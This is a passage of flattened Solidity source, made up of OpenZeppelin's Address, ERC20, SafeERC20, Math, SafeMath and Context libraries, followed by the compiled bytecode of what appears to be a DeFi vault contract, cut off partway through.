* _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x6080604052600436106101cd5760003560e01c8063722713f7116100f7578063ab033ea911610095578063d33219b411610064578063d33219b41461067a578063e95b2de81461068f578063f77c4791146106a4578063fc0c546a146106b9576101cd565b8063ab033ea9146105f3578063c1a3d44c14610626578063c6223e261461063b578063d0e30db014610665576101cd565b80638801a430116100d15780638801a430146105635780638fd3ab801461057857806392eefe9b1461058d578063a91ee0dc146105c0576101cd565b8063722713f7146105245780637b10399914610539578063853828b61461054e576101cd565b80631fe4a6861161016f5780633e54bacb1161013e5780633e54bacb14610482578063454b0608146104b257806351cff8d9146104dc5780635aa6e6751461050f576101cd565b80631fe4a686146103f95780632e1a7d4d1461040e57806330e5065e1461043a57806334e8edfe1461046d576101cd565b806311588086116101ab57806311588086146102e857806317d7de7c146102fd5780631cff79cd146103125780631f1fcd51146103c8576101cd565b806301e1d114146101d2578063063effeb146101f957806306fdde031461025e575b600080fd5b3480156101de57600080fd5b506101e76106ce565b60408051918252519081900360200190f35b34801561020557600080fd5b5061020e610779565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561024a578181015183820152602001610232565b505050509050019250505060405180910390f35b34801561026a57600080fd5b506102736109d9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102ad578181015183820152602001610295565b50505050905090810190601f1680156102da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f457600080fd5b506101e7610a67565b34801561030957600080fd5b50610273610a76565b6102736004803603604081101561032857600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561035357600080fd5b82018360208201111561036557600080fd5b8035906020019184600183028401116401000000008311171561038757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610b0c945050505050565b3480156103d457600080fd5b506103dd610bef565b604080516001600160a01b039092168252519081900360200190f35b34801561040557600080fd5b506103dd610bfe565b34801561041a57600080fd5b506104386004803603602081101561043157600080fd5b5035610c0d565b005b34801561044657600080fd5b506101e76004803603602081101561045d57600080fd5b50356001600160a01b0316610dbf565b34801561047957600080fd5b506103dd610f8e565b34801561048e57600080fd5b506101e7600480360360408110156104a557600080fd5b5080359060200135610f9d565b3480156104be57600080fd5b506101e7600480360360208110156104d557600080fd5b5035610fcb565b3480156104e857600080fd5b506101e7600480360360208110156104ff57600080fd5b50356001600160a01b0316610ff7565b34801561051b57600080fd5b506103dd611122565b34801561053057600080fd5b506101e7611131565b34801561054557600080fd5b506103dd61113c565b34801561055a57600080fd5b506101e761114b565b34801561056f57600080fd5b506103dd611306565b34801561058457600080fd5b506101e7611315565b34801561059957600080fd5b50610438600480360360208110156105b057600080fd5b50356001600160a01b0316611338565b3480156105cc57600080fd5b50610438600480360360208110156105e357600080fd5b50356001600160a01b03166113a5565b3480156105ff57600080fd5b506104386004803603602081101561061657600080fd5b50356001600160a01b03166114d2565b34801561063257600080fd5b506101e7611541565b34801561064757600080fd5b506101e76004803603602081101561065e57600080fd5b5035611546565b34801561067157600080fd5b506104386116fc565b34801561068657600080fd5b506103dd6117d3565b34801561069b57600080fd5b506103dd6117e2565b3480156106b057600080fd5b506103dd611867565b3480156106c557600080fd5b506103dd611876565b600060606106da610779565b905060005b81518110156107745761076a8282815181106106f757fe5b60200260200101516001600160a01b03166301e1d1146040518163ffffffff1660e01b815260040160206040518083038186803b15801561073757600080fd5b505afa15801561074b573d6000803e3d6000fd5b505050506040513d602081101561076157600080fd5b50518490611885565b92506001016106df565b505090565b600154600254600080546040805163f9c7bba560e01b81526001600160a01b039283166004820152905160609594929092169163f9c7bba591602480820192602092909190829003018186803b1580156107d257600080fd5b505afa1580156107e6573d6000803e3d6000fd5b505050506040513d60208110156107fc57600080fd5b505190508181141561086c57600180548060200260200160405190810160405280929190818152602001828054801561085e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610840575b5050505050925050506109d6565b60608167ffffffffffffffff8111801561088557600080fd5b506040519080825280602002602001820160405280156108af578160200160208202803683370190505b50905060005b8381101561091457600181815481106108ca57fe5b9060005260206000200160009054906101000a90046001600160a01b03168282815181106108f457fe5b6001600160a01b03909216602092830291909101909101526001016108b5565b50825b828110156109d05760025460005460408051633ddfe34f60e11b81526001600160a01b0392831660048201526024810185905290519190921691637bbfc69e916044808301926020929190829003018186803b15801561097657600080fd5b505afa15801561098a573d6000803e3d6000fd5b505050506040513d60208110156109a057600080fd5b505182518390839081106109b057fe5b6001600160a01b0390921660209283029190910190910152600101610917565b50925050505b90565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a5f5780601f10610a3457610100808354040283529160200191610a5f565b820191906000526020600020905b815481529060010190602001808311610a4257829003601f168201915b505050505081565b6000610a71611131565b905090565b60088054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b025780601f10610ad757610100808354040283529160200191610b02565b820191906000526020600020905b815481529060010190602001808311610ae557829003601f168201915b5050505050905090565b6006546060906001600160a01b03163314610b5a576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b6001600160a01b038316610b9f576040805162461bcd60e51b8152602060048201526007602482015266085d185c99d95d60ca1b604482015290519081900360640190fd5b600080835160208501866113885a03f43d6040519250601f19601f6020830101168301604052808352806000602085013e811560018114610bdf57610be6565b8160208501fd5b50505092915050565b6007546001600160a01b031681565b6005546001600160a01b031681565b6004546001600160a01b03163314610c5a576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b610c63816118df565b50600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610caf57600080fd5b505afa158015610cc3573d6000803e3d6000fd5b505050506040513d6020811015610cd957600080fd5b50516004805460075460408051636535246160e11b81526001600160a01b03928316948101949094525193945060009391169163ca6a48c2916024808301926020929190829003018186803b158015610d3157600080fd5b505afa158015610d45573d6000803e3d6000fd5b505050506040513d6020811015610d5b57600080fd5b505190506001600160a01b038116610da3576040805162461bcd60e51b8152602060048083019190915260248201526310b530b960e11b604482015290519081900360640190fd5b600754610dba906001600160a01b031682846118ee565b505050565b60006060610dcb610779565b905060005b8151811015610f8757610f7d610f76838381518110610deb57fe5b60200260200101516001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2b57600080fd5b505afa158015610e3f573d6000803e3d6000fd5b505050506040513d6020811015610e5557600080fd5b50518451600a9190910a90610f7090869086908110610e7057fe5b60200260200101516001600160a01b03166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b158015610eb057600080fd5b505afa158015610ec4573d6000803e3d6000fd5b505050506040513d6020811015610eda57600080fd5b50518651879087908110610eea57fe5b60200260200101516001600160a01b03166370a082318a6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610f3e57600080fd5b505afa158015610f52573d6000803e3d6000fd5b505050506040513d6020811015610f6857600080fd5b505190611940565b90611999565b8490611885565b9250600101610dd0565b5050919050565b600a546001600160a01b031681565b6003546000906001600160a01b03163314610fb757600080fd5b610fc23084846119db565b90505b92915050565b6003546000906001600160a01b03163314610fe557600080fd5b610fef3083611b66565b90505b919050565b6004546000906001600160a01b03163314611047576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b6007546001600160a01b0383811691161415611093576040805162461bcd60e51b815260206004808301919091526024820152631dd85b9d60e21b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b1580156110d957600080fd5b505afa1580156110ed573d6000803e3d6000fd5b505050506040513d602081101561110357600080fd5b5051600454909150610ff2906001600160a01b038481169116836118ee565b6003546001600160a01b031681565b6000610a7130610dbf565b6002546001600160a01b031681565b6004546000906001600160a01b0316331461119b576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b6111ab6111a6611131565b6118df565b50600754604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156111f757600080fd5b505afa15801561120b573d6000803e3d6000fd5b505050506040513d602081101561122157600080fd5b50516004805460075460408051636535246160e11b81526001600160a01b03928316948101949094525193945060009391169163ca6a48c2916024808301926020929190829003018186803b15801561127957600080fd5b505afa15801561128d573d6000803e3d6000fd5b505050506040513d60208110156112a357600080fd5b505190506001600160a01b0381166112eb576040805162461bcd60e51b8152602060048083019190915260248201526310b530b960e11b604482015290519081900360640190fd5b600754611302906001600160a01b031682846118ee565b5090565b6009546001600160a01b031681565b6003546000906001600160a01b0316331461132f57600080fd5b610a7130611b74565b6006546001600160a01b03163314611383576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b600260009054906101000a90046001600160a01b03166001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b1580156113f357600080fd5b505afa158015611407573d6000803e3d6000fd5b505050506040513d602081101561141d57600080fd5b50516001600160a01b0316331461143357600080fd5b600280546001600160a01b0319166001600160a01b03838116919091179182905560408051635aa6e67560e01b815290519290911691635aa6e67591600480820192602092909190829003018186803b15801561148f57600080fd5b505afa1580156114a3573d6000803e3d6000fd5b505050506040513d60208110156114b957600080fd5b50516001600160a01b031633146114cf57600080fd5b50565b6003546001600160a01b0316331461151f576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600090565b6004546000906001600160a01b03163314611596576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b61159f826118df565b50600754604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156115eb57600080fd5b505afa1580156115ff573d6000803e3d6000fd5b505050506040513d602081101561161557600080fd5b50516004805460075460408051636535246160e11b81526001600160a01b03928316948101949094525193945060009391169163ca6a48c2916024808301926020929190829003018186803b15801561166d57600080fd5b505afa158015611681573d6000803e3d6000fd5b505050506040513d602081101561169757600080fd5b505190506001600160a01b0381166116df576040805162461bcd60e51b8152602060048083019190915260248201526310b530b960e11b604482015290519081900360640190fd5b6007546116f6906001600160a01b031682846118ee565b50919050565b6004546001600160a01b03163314611749576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561179457600080fd5b505afa1580156117a8573d6000803e3d6000fd5b505050506040513d60208110156117be57600080fd5b505190506117cf3080836000611b82565b5050565b6006546001600160a01b031681565b6002546000805460408051630e177dc760e41b81526001600160a01b03928316600482015290519293919091169163e177dc7091602480820192602092909190829003018186803b15801561183657600080fd5b505afa15801561184a573d6000803e3d6000fd5b505050506040513d602081101561186057600080fd5b5051905090565b6004546001600160a01b031681565b6000546001600160a01b031681565b600082820183811015610fc2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610fef3030846001611f9b565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610dba908490612696565b60008261194f57506000610fc5565b8282028284828161195c57fe5b0414610fc25760405162461bcd60e51b8152600401808060200182810382526021815260200180612c326021913960400191505060405180910390fd5b6000610fc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612747565b6000806119e66117e2565b90506000816001600160a01b031663ecf708586040518163ffffffff1660e01b815260040160206040518083038186803b158015611a2357600080fd5b505afa158015611a37573d6000803e3d6000fd5b505050506040513d6020811015611a4d57600080fd5b5051604080516278744560e21b815290519192506000916001600160a01b038516916301e1d114916004808301926020929190829003018186803b158015611a9457600080fd5b505afa158015611aa8573d6000803e3d6000fd5b505050506040513d6020811015611abe57600080fd5b50519050808211611ad55760009350505050611b5f565b8560001983108015611ae8575060001981105b15611b09576000611af984846127e9565b905080821115611b07578091505b505b8015611b5a576000611b1e8930846000611f9b565b905080611b3357600095505050505050611b5f565b611b40308a836000611b82565b955086611b4d82886127e9565b1115611b5857600080fd5b505b505050505b9392505050565b6000610fc2838360006119db565b6000610fef82600019611b66565b600080611b8d6117e2565b90508215611c4f576000198414611bbb57600054611bb6906001600160a01b031687308761282b565b611c4f565b600054604080516370a0823160e01b81526001600160a01b03808a1660048301529151611c4f938a9330939116916370a0823191602480820192602092909190829003018186803b158015611c0f57600080fd5b505afa158015611c23573d6000803e3d6000fd5b505050506040513d6020811015611c3957600080fd5b50516000546001600160a01b031692919061282b565b60005460408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291518793929092169163dd62ed3e91604480820192602092909190829003018186803b158015611ca557600080fd5b505afa158015611cb9573d6000803e3d6000fd5b505050506040513d6020811015611ccf57600080fd5b50511015611d0b5760008054611cf2916001600160a01b0390911690839061288b565b600054611d0b906001600160a01b03168260001961288b565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015611d5757600080fd5b505afa158015611d6b573d6000803e3d6000fd5b505050506040513d6020811015611d8157600080fd5b505190506001600160a01b0386163014611e1e57816001600160a01b0316636e553f6586886040518363ffffffff1660e01b815260040180838152602001826001600160a01b0316815260200192505050602060405180830381600087803b158015611dec57600080fd5b505af1158015611e00573d6000803e3d6000fd5b505050506040513d6020811015611e1657600080fd5b50611ed59050565b6000198514611e6d57816001600160a01b031663b6b55f25866040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015611dec57600080fd5b816001600160a01b031663d0e30db06040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611ea857600080fd5b505af1158015611ebc573d6000803e3d6000fd5b505050506040513d6020811015611ed257600080fd5b50505b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015611f2157600080fd5b505afa158015611f35573d6000803e3d6000fd5b505050506040513d6020811015611f4b57600080fd5b50519050611f5982826127e9565b93506001600160a01b0388163014801590611f745750600081115b15611f9057600054611f90906001600160a01b031689836118ee565b505050949350505050565b600080611fa66117e2565b90506060611fb2610779565b9050611fbd8161299e565b60005b81518110156125245784158015611ffb5750826001600160a01b0316828281518110611fe857fe5b60200260200101516001600160a01b0316145b156120055761251c565b600082828151811061201357fe5b60200260200101516001600160a01b03166370a082318a6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561206757600080fd5b505afa15801561207b573d6000803e3d6000fd5b505050506040513d602081101561209157600080fd5b505190506001600160a01b038916301461214e5761214b818484815181106120b557fe5b60200260200101516001600160a01b031663dd62ed3e8c306040518363ffffffff1660e01b815260040180836001600160a01b0316815260